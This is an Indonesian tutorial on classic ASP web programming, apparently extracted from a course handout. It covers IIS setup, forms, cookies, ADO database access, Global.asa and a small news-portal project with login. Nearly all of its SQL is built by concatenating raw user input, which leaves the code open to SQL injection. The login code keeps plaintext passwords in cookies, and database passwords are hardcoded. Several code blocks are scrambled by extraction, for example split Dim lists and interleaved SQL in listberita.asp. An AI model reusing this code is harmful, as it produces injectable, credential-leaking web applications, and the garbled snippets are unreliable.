Introduction To ASP

Pemanfaatan ASP untuk web programming
Oleh : Hendra, ST.
Introduction to ASP
Suatu ASP file dapat mengandung text, , HTML tags dan scripts. Scripts dalam suatu file ASP akan dijalankan pada sisi server. Berbeda dengan JavaScript ataupun VBScript yang merupakan script yang dijalankan pada sisi client dimana source code halaman tidak dapat disembunyikan dari user pada saat user menggunakan fasilitas view Source. Script ASP akan diproses diserver, dan kemudian hasil server akan dikirim ke browser client dalam bentuk response, dan kemudian kalau user melakukan view Source, maka yang nampak adalah HTML maupun script yang merupakan hasil proses, jadi ASP Script yang sebenarnya tetap tersembunyi dari user.
What you should already know

Sebelum anda mulai belajar, anda perlu memiliki pengetahuan : WWW, HTML dan dasar pengembangan Web pages Bahasa scripting VBScript dan Visual Basic. Pembelajaran ASP tidak terlepas dari penguasaan terhadap HTML, karena semua response yang akan dikirim dari sisi server ke sisi client (browser) harus ditampilkan dalam bentuk struktur HTML. <html> <head> </head> <body> </body> </html> Jadi anda harus menguasai dasar dari HTML, pembuatan tabel, form, link dll. Jadi saran saya kalau anda belum mengerti HTML, sebaiknya mempelajarinya terlebih dahulu. Kemudian ASP menggunakan dialek VBScript dan VB, dimana jika anda telah menguasai VB, maka proses pembelajaran ASP script akan lebih mudah.
What is ASP?
ASP singkatan dari Active Server Pages
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ASP adalah suatu program yang berjalan didalam IIS IIS singkatan dari Internet Information Services IIS merupakan free component pada Windows 2000 dan XP IIS merupakan bagian dari Windows NT 4.0 Option Pack PWS merupakan versi IIS yang lebih kecil. PWS dapat ditemukan pada Windows 95/98 CD
ASP Compatibility

ASP merupakan Technology Microsoft Untuk menjalankan IIS anda harus memiliki Windows NT 4.0 atau yang lebih Untuk menjalankan PWS anda harus memiliki Windows 95 atau lebih ChiliASP adalah teknologi yang menjalankan ASP tanpa Windows OS InstantASP adalah teknologi lain yang menjalankan ASP tanpa Windows
What is an ASP File?

Suatu file ASP pada dasarnya sama seperti suatu HTML file Suatu file ASP dapat mengandung text, HTML, XML, dan scripts Scripts dalam suatu file ASP dijalankan pada sisi Server Suatu file ASP memiliki ekstension ".asp"
How Does ASP Differ from HTML?

Ketika browser meminta suatu HTML file, server akan mengirim file tersebut. Ketika browser meminta suatu ASP file, IIS mengirim permintaan tersebut ke ASP engine. ASP engine membaca ASP file, baris per baris, dan menjalankan script dalam file tersebut, hasil eksekusi tersebut dikirim ke browser.
What can ASP do for you?

Mengatur tampilan web page secara dinamis Melakukan respon terhadap permintaan dan data yang dikirim oleh user.melalui form. Mengakses data atau database dan mengirim hasilnya ke browser Mengatur tampilan Web page yang lebih sesuai dengan individu Kelebihan ASP dari CGI dan Perl adalah lebih sederhana dan cepat. Lebih aman karena kode ASP tidak dapat ditampilkan oleh browser Hasil file ASP dapat ditampilkan oleh browser manapun. Menurunkan trafik network.
How to install IIS and run ASP on Windows 2000

1. From your Start Button, go to Settings, and Control Panel Indoprog 2
Pemanfaatan ASP untuk web programming 2. 3. 4. 5. 6. 7. 8.
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In the Control Panel window select Add/Remove Programs In the Add/Remove window select Add/Remove Windows Components In the Wizard window check Internet Information Services, click OK An Inetpub folder will be created on your harddrive Open the Inetpub folder, and find a folder named wwwroot Create a new folder, like "MyWeb", under wwwroot. Use a text editor to write some ASP code, save the file as "test1.asp" in the "MyWeb" folder 9. Make sure your Web server is running - The installation program has added a new icon on your task bar (this is the IIS symbol). Click on the icon and press the Start button in the window that appears. 10. Open your browser and type in "http://localhost/MyWeb/test1.asp", to view your first ASP page
How to install IIS and run ASP on Windows XP Professional

Note: You cannot run ASP on Windows XP Home Edition. 1. 2. 3. 4. 5. Insert the Windows XP Professional CD-Rom into your CD-Rom Drive From your Start Button, go to Settings, and Control Panel In the Control Panel window select Add/Remove Programs In the Add/Remove window select Add/Remove Windows Components In the Wizard window check Internet Information Services, click OK
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An Inetpub folder will be created on your harddrive Open the Inetpub folder, and find a folder named wwwroot Create a new folder, like "MyWeb", under wwwroot. Use a text editor to write some ASP code, save the file as "test1.asp" in the "MyWeb" folder 10. Make sure your Web server is running - The installation program has added a new icon on your task bar (this is the IIS symbol). Click on the icon and press the Start button in the window that appears. 11. Open your browser and type in "http://localhost/MyWeb/test1.asp", to view your first ASP page
Halaman ASP anda yang pertama ... Step by Step

1. Ketik file berikut dengan notepad
<HTML> <HEAD> <TITLE>Halaman ASP saya yang pertama</TITLE> </HEAD> <BODY> <% Response.Write("Hello World...") %> </BODY> </HTML>
2. Simpan file sebagai test1.asp pada folder c:\Inetpub\wwwroot\MyWeb\test1.asp 3. Untuk menampilkannya aktifkan browser anda dan ketik http://localhost/MyWeb/test1.asp 4. Anda telah melakukannya! Selamat untuk halaman web ASP anda yang pertama.
The Basic Syntax Rule

Suatu ASP file normalnya mengandung HTML tags, sama seperti file HTML, dan dapat mengandung server scripts, yang dibuka dengan tanda <% dan ditutup dengan %>. Server scripts akan dijalankan pada server, dan dapat mengandung ekspresi, perintah, procedure, atau operatir yang sah pada vbscript.
Tata Cara Penulisan ASP

Suatu Active Server Pages terdiri dari elemen-elemen berikut : - Tag-tag HTML - Script
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Pemanfaatan ASP untuk web programming - Text
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Untuk menandai script dari HTML, gunakan tanda baca <% dan %>. Tag-tag dan ketentuan HTMLnya tidak berubah, sebagai contohnya perhatikan baris berikut ini :
<% For x=1 to 5 %>
berfungsi memulai suatu perulangan VBScript For Next. Tanda baca <% dan %> memberitahukan kepada IIS bahwa baris tersebut adalah script dan bukan suatu HTML. Berikut ini menunjukkan suatu gabungan antara HTML dengan script:
<HTML> <HEAD> <TITLE>Menandai ASP Script dari HTML</TITLE> </HEAD> <BODY> Waktu Sekarang adalah <%=Now()%> </BODY> </HTML>
Tag-tag seperti <HEAD, dan <BODY> dikirim kembali ke browser bersama dengan tulisan Waktu sekarang adalah :. Tulisan <%=Now%> tidak dikirim kembali ke browser, karena diapit oleh tanda baca <% dan %>. Tanda sama dengan (=) menentukan bahwa output harus dikirim ke browser. Dalam hal ini fungsi now pada VBScript akan mengembalikan waktu sekarang, dan waktu sekarang tersebut akan dikirim kembali ke browser. Anda dapat juga melakukan hal seperti berikut ini:
<HTML> <HEAD> <TITLE>Menandai ASP Script dari HTML</TITLE> </HEAD> <BODY> <% FOR I = 1 TO 5 %> Selamat Belajar ASP <% NEXT%> </BODY> </HTML>
script juga dapat diberi jarak baris, seperti contoh berikut ini:
<HTML> <HEAD> <TITLE>Menandai ASP Script dari HTML</TITLE> </HEAD> <BODY> <% iNum = 15 If iNum > 10 Then strMsg = "Selamat Petang" Else
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StrMsg = "Selamat Pagi" End Response.write(StrMsg) `Dikirim ke browser %> </BODY> </HTML>
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The Response Object

Metoda Write pada Response Object digunakan untuk mengirim isi ke browser, lihat halaman asp anda yang pertama.
User Input
Object Request dapat digunakan untuk menerima informasi dari user melalui form, ketik script berikut ke testform1.asp:
<html> <head> </head> <body> <form method="get" action="testterima1.asp"> Nama: <input type="text" name="nama"> <br /> Umur: <input type="text" name="umur"> <br /><br /> <input type="submit" value="Submit"> </form> </body> </html>
Request.QueryString
Perintah Request.QueryString digunakan untuk mengumpulkan informasi dari suatu form yang di submit dengan method="get", ketik script berikut ke testterima1.asp
<html> <head> </head> <body> Selamat pagi <% response.write("nama :" & request.querystring("nama")) response.write("umur :" & request.querystring("umur")) %> </body> </html>
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Jalankan testform1.asp, ketik Hendra Soewarno, dan umur 30, klik submit.
Request.Form
Perintah Request.Form digunakan untuk mengumpulkan data dari suatu form yang disubmit user dengan menggunakan method="post", ketik script berikut ke testform2.asp
<html> <head> </head> <body> <form method="post" action="testterima2.asp"> Nama: <input type="text" name="nama"> <br /> Umur: <input type="text" name="umur"> <br /><br /> <input type="submit" value="Submit"> </form> </body>
dan ketik script berikut ke testterima2.asp

<html> <head> </head> <body> Selamat pagi <% response.write("nama : " & request.form("nama")) response.write("umur :" & request.form ("umur")) %> </body> </html>
Diskusi :
Diskusikan dengan instruktur anda tentang perbedaan metode Get dan Post, dan keunggulan serta kelemahan. Salah satu keunggulan pemakaian metode Post, adalah request yang kita kirim ke Server tidak tercantum pada URL browser kita yang dapat berimplikasi pada masalah security, dimana user dapat mempelajari bagaimana program kita melakukan request dan response yang dihasilkan.
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Simple database Access using ADO and ASP

Buatlah database access (c:\Inetpub\wwwroot\MyWeb\dbo\test1.mdb) dan table test1 dengan struktur berikut : Nama Text 30 Umur Integer Proteksi database anda dengan password 123456
The Connection
Langkah awal untuk mengakses database adalah membuka koneksi ke sumber data, dalam hal ini kita akan menggunakan ADO Connection object.
Const adModeReadWrite = 3 Dim Connection Dim ConnectionString Set Connection = Server.CreateObject("ADODB.Connection") Connection.ConnectionTimeout = 30 Connection.CommandTimeout = 80 Connection.Mode = adModeReadWrite ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & _ Server.MapPath("dbo/test1.mdb") & _ ";Jet OLEDB:Database Password=123456" Connection.Open ConnectionString
Update Using SQL Statement

Dim SSQL Dim Affected nama = request.querystring("nama") umur = request.querystring("umur") SSQL = "Insert Into test1 (nama,umur) values ('" & nama & "'," & umur & ");" Connection.Execute SSQL,Affected If Affected > 0 Then Response.write ("Sukses") Else Response.write ("Gagal") End If
Close Connection
Pada akhir script anda yang membuka koneksi perlu dilakukan penutupan dengan metoda Close.
Connection.Close Set Connection = Nothing
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Show Table Records Using Recordset

Proses akses database yang biasanya dilakukan adalah proses pengambilan data dari table dalam database.
Const adOpenForwardOnly = 0 Const adLockOptimistic = 3 Dim rs set rs = Server.CreateObject("ADODB.RecordSet") rs.Open "SELECT * FROM Test1", Connection, adOpenForwardOnly, adLockOptimistic Dim item For each item in rs.Fields Response.Write item.Name & "<br>" next ' This will list each field in each record Do While not rs.EOF For each item in rs.Fields Response.Write item.Value & "<br>" Next Rs.MoveNext Loop
Anda dapat juga mengambil isi recordset dengan rs("namafield")
Close Recordset
Selalu untuk ingat menutup recordset setelah selesai menggunakannya.
rs.Close set rs = nothing
Delete Record
Dengan petunjuk instruktur buatlah proses hapus record.
Trouble Shooting
Jika pada proses update data dengan perintah INSERT INTO ataupun UPDATE dan DELETE, anda mendapatkan pesan kesalahan Operation must use updateable query. Penyebab dari masalah ini karena permission untuk User IUSR_<machine name> tidak diset untuk folder dimana file .mdb anda berada : Pada folder .mdb berada, lakukan klik kanan, pilih Properties, Security, jika tab Security tidak muncul, gunakan menu Tools, Golder Options, dan hilangkan check pada "Simple File sharing")
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The #include Directive

Anda dapat menyisipkan isi dari suatu asp file ke file asp yang lain sebelum dieksekusi oleh server, untuk melakukan hal tersebut anda dapat menggunakan direktif #include
How to Use the #include Directive

Berikut ini adalah "mylib.asp":
<% Const adModeReadWrite = 3 Const adOpenForwardOnly = 0 Const adLockOptimistic = 3 Dim Dim Dim Dim Dim Dim Connection ConnectionString Affected SSQL Username Password
sub bukakoneksi() Set Connection = Server.CreateObject("ADODB.Connection") Connection.ConnectionTimeout = 30 Connection.CommandTimeout = 80 Connection.Mode = adModeReadWrite ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & _ Server.MapPath("dbo/test1.mdb") & _ ";Jet OLEDB:Database Password=indoprog" Connection.Open ConnectionString end sub
function periksalogin() Username = Request.Cookies("Username") Password = Request.Cookies("Password") Dim rs set rs = Server.CreateObject("ADODB.RecordSet") SSQL = "Select count(*) as Ada From Operator Where Username='" & Username & "' And Password='" & Password & "';" rs.Open sSQL,Connection,adOpenForwardOnly,adLockOptimistic periksalogin = rs("Ada") rs.close end function sub tutupkoneksi()
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Connection.Close set Connection = nothing end sub %>
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Bukalah kembali database Test1.mdb dan Tambahkan table Operator : Username Text 30 Password Text 30 Lasttime DateTime Rancanglah form login berikut dan simpan ke index.asp: Please Login Username Password
Submit Reset
Dengan menggunakan frontpage, yang akan mengirim Username dan Password secara metode post ke login.asp. Maka kita dapat menyisipkan Mylib.asp jika dibutuhkan sub bukakoneksi dan tutupkoneksi. Ketik program berikut ke login.asp.
 <% Dim Username Dim Password Dim Affected Username = Request.Form("Username") Password = Request.Form("Password") Call BukaKoneksi() SSQL = "Update Operator Set Lasttime = '" & Now & "' Where Username='" & Username & "' And Password = '" & Password & "';" Connection.Execute SSQL, Affected %> <html> <head> <title>Menu utama</title> </head> <body> <% If Affected = 0 Then %>
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<p>Invalid Username or Password</p> <% Else Response.Cookies("username") = Username Response.Cookies("username").expires = DateAdd("s",360,now) Response.Cookies("password") = Password Response.Cookies("username").expires = DateAdd("s",360,now) %> <p>Tambah User</p> <p>Perbaiki User</p> <p>Hapus User</p> <p>Tampil User</p> <p>Keluar</p> <% End If %> </body> </html> <% Call TutupKoneksi() %>
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What is a Cookie?
Cookie sering digunakan untuk mengindentifikasi user. Sebuah cookie adalah file kecil yang ditanamkan pada computer user. Setiap kali computer yang sama melakukan permintaan terhadap suatu halaman dengan browser, akan mengirim cookie tersebut juga.
How to Create a Cookie

Perintah "Response.Cookies" digunakan untuk membuat cookie. Catatan: Perintah Response.Cookies harus ditempatkan sebelum tag <html>. Pada contoh berikut, kita akan membuat sebuah cookie dengan nama "username" dan memberikan nilai sesuai dengan isi variable username kepadanya :
<% Response.Cookies("username") = Username %>
Anda dapat juga memberikan suatu setting expire terhadap cookie dengan penulisan:
<% Response.Cookies("username") = Username Response.Cookies("username").expires = DateAdd("s",360,now) %>
How to Retrieve a Cookie Value

Perintah "Request.Cookies" digunakan untuk mengambil nilai dari suatu cookie. Pada contoh berikut, kita akan menerima nilai dari cookie yang bernama "username" dan password .
<% Username = Request.Cookies("Username") Password = Request.Cookies("Password") %>
Program AddLogin.asp New Login Username
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Pemanfaatan ASP untuk web programming Password Retype

Submit Reset
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 <% Dim Id Call BukaKoneksi() If periksalogin() = 0 then Response.Redirect("index.asp") End If Id = Request.QueryString("Id") %> <html> <head> <title>New Login</title> </head> <body> <center> <% if Id = "" Then %> <form method="POST" action="addlogin.asp?Id=1"> <table border="1" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="300" id="AutoNumber1"> <tr> <td width="100%" colspan="2"> <p align="left">New Login</td> </tr> <tr> <td width="50%"> <p align="left">Username</td> <td width="50%"> <p align="left"><input type="text" name="NewUsername" size="20"></td> </tr> <tr> <td width="50%"> <p align="left">Password</td> <td width="50%"> <p align="left"><input type="password" name="NewPassword" size="20"></td> </tr> <tr> <td width="50%">
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<p align="left">Retype</td> <td width="50%"> <p align="left"><input type="password" name="NewRetype" size="20"></td> </tr> <tr> <td width="50%"> <p align="left"> </td> <td width="50%"> <p align="left"><input type="submit" value="Submit" name="B1"><input type="reset" value="Reset" name="B2"></td> </tr> </table> </form> <% Else Dim NewUsername Dim NewPassword Dim NewRetype NewUsername = Request.form("NewUsername") NewPassword = Request.form("NewPassword") NewRetype = Request.form("NewRetype") If NewPassword <> NewRetype Then response.write("Password and Retype not match !") Else SSQL = "Insert Into Operator (Username, [Password]) Values ('" & NewUsername & "','" & NewPassword & "');" Connection.Execute SSQL, Affected If Affected > 0 Then Response.write ("Sukses") Else Response.write ("Gagal") End If End If End If %> </center> </body> </html> <% Call TutupKoneksi() %>
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ASP The Global.asa file

Global.asa file merupakan suatu file optional yang mengandung deklarasi objek, variable, dan metoda yang dapat diakses oleh semua aplikasi ASP.
The Global.asa file

File Global.asa dapat mengandung informasi berikut:

Application events Session events <object> declarations
Note: File Global.asa harus disimpan pada root directory aplikasi ASP, dan setiap aplikasi hanya dapat memiliki satu file Global.asa.
Events in Global.asa
Pada Global.asa anda dapat memberitahukan kepada aplikasi/session kapan untuk memulai dan kapan harus berakhir. Application_OnStart Event ini terjadi ketika pemakai pertama membuka halaman aplikasi ASP. Session_OnStart Event ini terjadi setiap kali seorang user baru membuka halaman yang pertama suatu aplikasi ASP. Session_OnEnd Event ini terjadi setelah user mengakhiri suatu session, atau user tidak melakukan request untuk jangka waktu 20 menit. Application_OnEnd Event ini terjadi ketika Web server di stop. Suatu file Global.asa dapat ditulis sebagai berikut:
<script language="vbscript" runat="server"> Sub Application_OnStart Const adModeReadWrite = 3 Const adOpenForwardOnly = 0
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Const adLockOptimistic = 3 Dim Connection Dim ConnectionString Set Connection = Server.Createobject("ADODB.Connection") Connection.ConnectionTimeout = 30 Connection.CommandTimeout = 80 Connection.Mode = adModeReadWrite ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & _ Server.MapPath("dbo/test1.mdb") & _ ";Jet OLEDB:Database Password=indoprog" Connection.Open ConnectionString Set Application("Connection") = Connection End Sub Sub Session_OnStart Application("Connection").Execute "Update Visitor Set Visitor=Visitor+1;" Session.TimeOut = 5 End Sub Sub Application_OnEnd Application("connection").close End Sub </script>
Note: Kita tidak dapat menggunakan script ASP (<% and %>) pada Global.asa file. Bukalah file test.mdb anda dan tambahkan sebuah table visitor, yang berisi sebuah field visitor. Contoh modifikasi dengan menggunakan variable level Application dan Session pada file login.asp :
<% Session("Username") = "" Session("Password") = "" %> <html> <head> <title>Please Login</title> </head> <body> <form method="POST" action="login.asp"> <center> Please Login <table border="1" cellspacing="0" width="300"> <tr>
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<td width="50%">Username</td> <td width="50%"><input type="text" name="username" size="20"></td> </tr> <tr> <td width="50%">Password</td> <td width="50%"><input type="password" name="password" size="20"></td> </tr> <tr> <td width="50%"> </td> <td width="50%"><input type="submit" value="Submit" name="B1"><input type="reset" value="Reset" name="B2"></td> </tr> </table> Jumlah Visitor Sekarang = <% =Application("Visitors") %> </center> </div> </form> </body> </html>
Hasil modifikasi pada "mylib.asp":

<% Const adOpenForwardOnly = 0 Const adLockOptimistic = 3 Dim Dim Dim Dim Affected SSQL Username Password
function periksalogin() Username = Session("Username") Password = Session("Password") Dim rs set rs = Server.CreateObject("ADODB.RecordSet") SSQL = "Select count(*) as Ada From Operator Where Username='" & Username & "' And Password='" & Password & "';" rs.Open sSQL,Application("Connection"),adOpenForwardOnly,adLockOptimistic periksalogin = rs("Ada") rs.close end function %>
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Pemanfaatan ASP untuk web programming Hasil modifikasi pada login.asp :

 <% Username = Request.Form("Username") Password = Request.Form("Password")
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SSQL = "Update Operator Set Lasttime = '" & Now & "' Where Username='" & Username & "' And Password = '" & Password & "';" Application("Connection").Execute SSQL, Affected %> <html> <head> <meta http-equiv="Content-Language" content="en-us"> <meta name="GENERATOR" content="Microsoft FrontPage 5.0"> <meta name="ProgId" content="FrontPage.Editor.Document"> <meta http-equiv="Content-Type" content="text/html; charset=windows1252"> <title>New Page 1</title> </head> <body> <% If Affected = 0 Then %> <p>Invalid Username or Password</p> <% Else Session("Username") = Username Session("Password") = Password %> <p><a href="addlogin.asp">Tambah User</a></p> <p>Perbaiki User</p> <p>Hapus User</p> <p>Tampil User</p> <p>Keluar</p> <% End If %> </body> </html>
Coba anda lakukan modifikasi file "addlogin.asp".

<% Session.Abandon %> <html> <head> <title>Sampai Jumpa</title> </head> <body>
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<center> Sampai Jumpa. <br> Jumlah Visitor Sekarang = <% =Application("Visitors") %> </center> </body> </html>
Proyek : Membuat Portal Berita Dengan petunjuk instruktur anda buatlah homepage untuk portal berita dengan kemampuan sebagai berikut : 1. Berita di simpan dalam suatu database file 2. Berita di isi dari web page yang telah diproteksi dengan username dan password 3. Berita ditampilkan jika sudah di approve.
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Project Portal Berita

Tambahkan sebuah table dengan nama berita dengan struktur sebagai berikut : Judul text 50 Ringkasan text 255 Isi memo Waktu date/time Username text 20 Status text 1 Id Autonumber Primary Key Id Perbaiki table operator, dengan menambah sebuah field Level. global.asa
<script language="vbscript" runat="server"> Sub Application_OnStart Const adModeReadWrite = 3 Const adOpenForwardOnly = 0 Const adLockOptimistic = 3 Dim Connection Dim ConnectionString Set Connection = Server.Createobject("ADODB.Connection") Connection.ConnectionTimeout = 30 Connection.CommandTimeout = 80 Connection.Mode = adModeReadWrite ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & _ Server.MapPath("dbo/test1.mdb") & _ ";Jet OLEDB:Database Password=indoprog" Connection.Open ConnectionString Set Application("Connection") = Connection Application("visitors")=0 End Sub Sub Session_OnStart Application("Connection").Execute "Update Visitor Set Visitor=Visitor+1;" Application.Lock Application("visitors")=Application("visitors")+1 Application.UnLock Session.TimeOut = 5 End Sub Sub Session_OnEnd Application.Lock
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Application("visitors")=Application("visitors")-1 Application.UnLock End Sub Sub Application_OnEnd Application("connection").close End Sub </script>
mylib.asp
<% Const adModeReadWrite = 3 Const adOpenForwardOnly = 0 Const adLockOptimistic = 3 'Global variabel Dim Affected Dim SSQL Dim Username Dim Password Dim Level
function periksalogin() Username = Session("Username") Password = Session("Password") Dim rs set rs = Server.CreateObject("ADODB.RecordSet") SSQL = "Select count(*) as Ada From Operator Where Username='" & Username & "' And Password='" & Password & "';" rs.Open sSQL,Application("Connection"),adOpenForwardOnly,adLockOptimistic periksalogin = rs("Ada") rs.close end function %>
index.asp
<% Session("Username") = "" Session("Password") = "" Session("Level") = "" %> <html>
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<head> <title>Please Login</title> </head> <body> <form method="POST" action="login.asp"> <center> Please Login <table border="1" cellspacing="0" width="300"> <tr> <td width="50%">Username</td> <td width="50%"><input type="text" name="username" size="20"></td> </tr> <tr> <td width="50%">Password</td> <td width="50%"><input type="password" name="password" size="20"></td> </tr> <tr> <td width="50%"> </td> <td width="50%"><input type="submit" value="Submit" name="B1"><input type="reset" value="Reset" name="B2"></td> </tr> </table> Jumlah Visitor Sekarang = <% =Application("Visitors") %> </center> </div> </form> </body> </html>
login.asp
 <% Username = Request.Form("Username") Password = Request.Form("Password") SSQL = "Update Operator Set Lasttime = '" & Now & "' Where Username='" & Username & "' And Password = '" & Password & "';" Application("Connection").Execute SSQL, Affected %> <html> <head> <title>Login status</title> </head>
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<body> <% If Affected = 0 Then %> <p>Invalid Username or Password</p> <% Else Session("Username") = Username Session("Password") = Password 'Ambil level operator Dim rs
Oleh : Hendra, ST.
set rs = Server.CreateObject("ADODB.RecordSet") SSQL = "Select [Level] From Operator Where Username='" & Username & "' And Password='" & Password & "';" rs.Open sSQL,Application("Connection"),adOpenForwardOnly,adLockOptimistic Level = rs("Level") rs.close Session("Username") = Username Session("Password") = Password Session("Level") = Level If Level = "R" Then %> <p><a href="listberita.asp">Tampil Berita</a></p> <p><a href="addlogin.asp">Tambah User</a></p> <p>Perbaiki User</p> <p>Hapus User</p> <p>Tampil User</p> <p><a href="logout.asp">Keluar</a></p> <% Else Response.Redirect("listberita.asp") End If End If %> </body> </html>
addlogin.asp
 <% Dim Id If periksalogin() = 0 or Session("Level") <> "R" then Response.Redirect("index.asp") End If
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Id = Request.QueryString("Id") %> <html> <head> <title>New Login</title> </head> <body> <center> <% if Id = "" Then %> <form method="POST" action="addlogin.asp?Id=1"> <table border="1" width="300"> <tr> <td width="100%" colspan="2"> <p align="center">New Login</td> </tr> <tr> <td width="50%"> <p align="left">Username</td> <td width="50%"> <p align="left"><input type="text" name="NewUsername" size="20"></td> </tr> <tr> <td width="50%"> <p align="left">Password</td> <td width="50%"> <p align="left"><input type="password" name="NewPassword" size="20"></td> </tr> <tr> <td width="50%"> <p align="left">Retype</td> <td width="50%"> <p align="left"><input type="password" name="NewRetype" size="20"></td> </tr> <tr> <td width="50%"> <p align="left">Level</td> <td width="50%"> <p align="left"><input type="text" name="NewLevel" size="1"></td> </tr> <tr> <td width="50%"> <p align="left"> </td> <td width="50%"> <p align="left"><input type="submit" value="Submit" name="B1"><input type="reset" value="Reset" name="B2"></td> </tr> </table>
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</form> <% Else Dim NewUsername Dim NewPassword Dim NewRetype Dim NewLevel NewUsername NewPassword NewRetype NewLevel = = = = Request.form("NewUsername") Request.form("NewPassword") Request.form("NewRetype") Request.form("NewLevel")
Oleh : Hendra, ST.
If NewPassword <> NewRetype Then response.write("Password and Retype not match !") Else SSQL = "Insert Into Operator (Username, [Password],[Level]) Values ('" & NewUsername & "','" & NewPassword & "','" & NewLevel & "');" Application("Connection").Execute SSQL, Affected If Affected > 0 Then Response.write ("Sukses") Else Response.write ("Gagal") End If End If End If %> </center> </body> </html>
logout.asp
<% Session.Abandon %> <html> <head> <title>Sampai Jumpa</title> </head> <body> <center> Sampai Jumpa. <br> Jumlah Visitor Sekarang = <% =Application("Visitors") %> </center>
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</body> </html>
listberita.asp
 <% Dim Id If periksalogin() = 0 then Response.Redirect("index.asp") End If Id = Request.QueryString("Id") %> <html> <head> <title>List Berita</title> </head> <% Dim rs set rs = Server.CreateObject("ADODB.RecordSet") If Session("Level") SSQL = "Select * Else SSQL = "Select * Status='N' Order By End If = "R" Then From Berita Where Status='N' Order By Waktu DESC;" From Berita Where Username='" & Username & "' And Waktu DESC;"
rs.Open sSQL,Application("Connection"),adOpenForwardOnly,adLockOptimistic %> <table border="1" width="620"> <tr> <td>ID</td><td>JUDUL</td><td>WAKTU</td><td>Username</td><td>ACTION</td> </tr> <% Do while not rs.eof If Session("Level") = "R" Then %> <td><% =rs("ID") %> </td><td><% =rs("JUDUL") %> </td><td><% =rs("WAKTU") %> </td> <td><% =rs("USERNAME") %> </td> <td>
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<a href="viewberita.asp?idberita=<% =rs("ID") %>" >View</a>, <a href="approveberita.asp?idberita=<% =rs("ID") %>" >Approve</a>, Reject </td> <% Else%> <td><% =rs("ID") %> </td><td><% =rs("JUDUL") %> </td><td><% =rs("WAKTU") %> </td> <td><% =rs("USERNAME") %> </td> <td> <a href="viewberita.asp?idberita=<% =rs("ID") %>" >View</a>, <a href="editberita.asp?idberita=<% =rs("ID") %>" >Edit</a>, Delete </td> <% End If rs.movenext Loop %> </table> <body> <center> <p></p> </center> </body> </html>
addberita
 <% Dim Id If periksalogin() = 0 then Response.Redirect("index.asp") End If Id = Request.QueryString("Id") %> <html> <head> <title>New Berita</title> </head> <body> <center>
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Oleh : Hendra, ST.
<% if Id = "" Then %> <form method="POST" action="addberita.asp?Id=1"> <table border="1" width="300"> <tr> <td width="100%" colspan="2"> <p align="center">New Berita</td> </tr> <tr> <td width="50%"> <p align="left">Judul</td> <td width="50%"> <p align="left"><input type="text" name="NewJudul" size="50"></td> </tr> <tr> <td width="50%"> <p align="left">Ringkasan</td> <td width="50%"> <p align="left"><textarea rows="4" name="NewRingkasan" cols="50"></textarea></td> </tr> <tr> <td width="50%"> <p align="left">Isi</td> <td width="50%"> <p align="left"><textarea rows="50" name="NewIsi" cols="50"></textarea></td> </tr> <td width="50%"> <p align="left"> </td> <td width="50%"> <p align="left"><input type="submit" value="Submit" name="B1"><input type="reset" value="Reset" name="B2"></td> </tr> </table> </form> <% Else Dim NewJudul Dim NewRingkasan Dim NewIsi NewJudul = Request.form("NewJudul") NewRingkasan= Request.form("NewRingkasan") NewIsi = Request.form("NewIsi") If NewJudul = "" or NewRingkasan = "" or NewIsi = "" Then response.write("Judul atau Ringkasan atau Isi tidak boleh kosong !") Else SSQL = "Insert Into Berita (Judul, Ringkasan,Isi,Waktu,Username,Status) Values ('" & NewJudul & "','" & NewRingkasan & "','" & NewIsi & "','" & Now & "','" & Session("Username") & "','N');"
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Application("Connection").Execute SSQL, Affected If Affected > 0 Then Response.write ("Sukses") Else Response.write ("Gagal") End If End If End If %> </center> </body> </html>
editberita.asp
 <% Dim Id, IdBerita If periksalogin() = 0 then Response.Redirect("index.asp") End If Id = Request.QueryString("Id") IdBerita = Request.QueryString("IdBerita") %> <html> <head> <title>Ed Berita</title> </head> <body> <center> <% if Id = "" Then Dim rs set rs = Server.CreateObject("ADODB.RecordSet") SSQL = "Select * From Berita Where Id=" & IdBerita & " And Username='" & Username & "';" rs.Open sSQL,Application("Connection"),adOpenForwardOnly,adLockOptimistic %> <form method="POST" action="editberita.asp?Id=1&idberita=<% =idberita %>"> <table border="1" width="300"> <tr>
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<td width="100%" colspan="2"> <p align="center">Ed Berita</td> </tr> <tr> <td width="50%"> <p align="left">Judul</td> <td width="50%"> <p align="left"><input type="text" name="EdJudul" size="50" value="<% =rs("Judul") %>"></td> </tr> <tr> <td width="50%"> <p align="left">Ringkasan</td> <td width="50%"> <p align="left"><textarea rows="4" name="EdRingkasan" cols="50"><% =rs("Ringkasan") %></textarea></td> </tr> <tr> <td width="50%"> <p align="left">Isi</td> <td width="50%"> <p align="left"><textarea rows="50" name="EdIsi" cols="50"><% =rs("Isi") %></textarea></td> </tr> <td width="50%"> <p align="left"> </td> <td width="50%"> <p align="left"><input type="submit" value="Submit" name="B1"><input type="reset" value="Reset" name="B2"></td> </tr> </table> </form> <% rs.close Else Dim EdJudul Dim EdRingkasan Dim EdIsi EdJudul = request.form("EdJudul") EdRingkasan = request.form("EdRingkasan") EdIsi = request.form("EdIsi") If EdJudul = "" or EdRingkasan = "" or EdIsi = "" Then response.write("Judul atau Ringkasan atau Isi tidak boleh kosong !") Else SSQL = "Update Berita Set Judul ='" & EdJudul & "',Ringkasan='" & EdRingkasan & "',Isi ='" & EdIsi & "',Waktu ='" & Now & "' Where Id=" & IdBerita & " And Username='" & Username & "';" Application("Connection").Execute SSQL, Affected If Affected > 0 Then Response.write ("Sukses")
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Else Response.write ("Gagal") End If End If End If %> </center> </body> </html>
Oleh : Hendra, ST.
approveberita.asp
 <% Dim IdBerita If periksalogin() = 0 or Session("Level") <> "R" then Response.Redirect("index.asp") End If IdBerita = Request.QueryString("IdBerita") %> <html> <head> <title>Approve</title> </head> <body> <center> <% SSQL = "Update Berita Set Status = 'A' Where ID=" & IdBerita & ";" Application("Connection").Execute SSQL, Affected If Affected > 0 Then Response.write ("Approve Sukses") Else Response.write ("Approve Gagal") End If %> </center> </body> </html>
viewberita.asp

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Oleh : Hendra, ST.
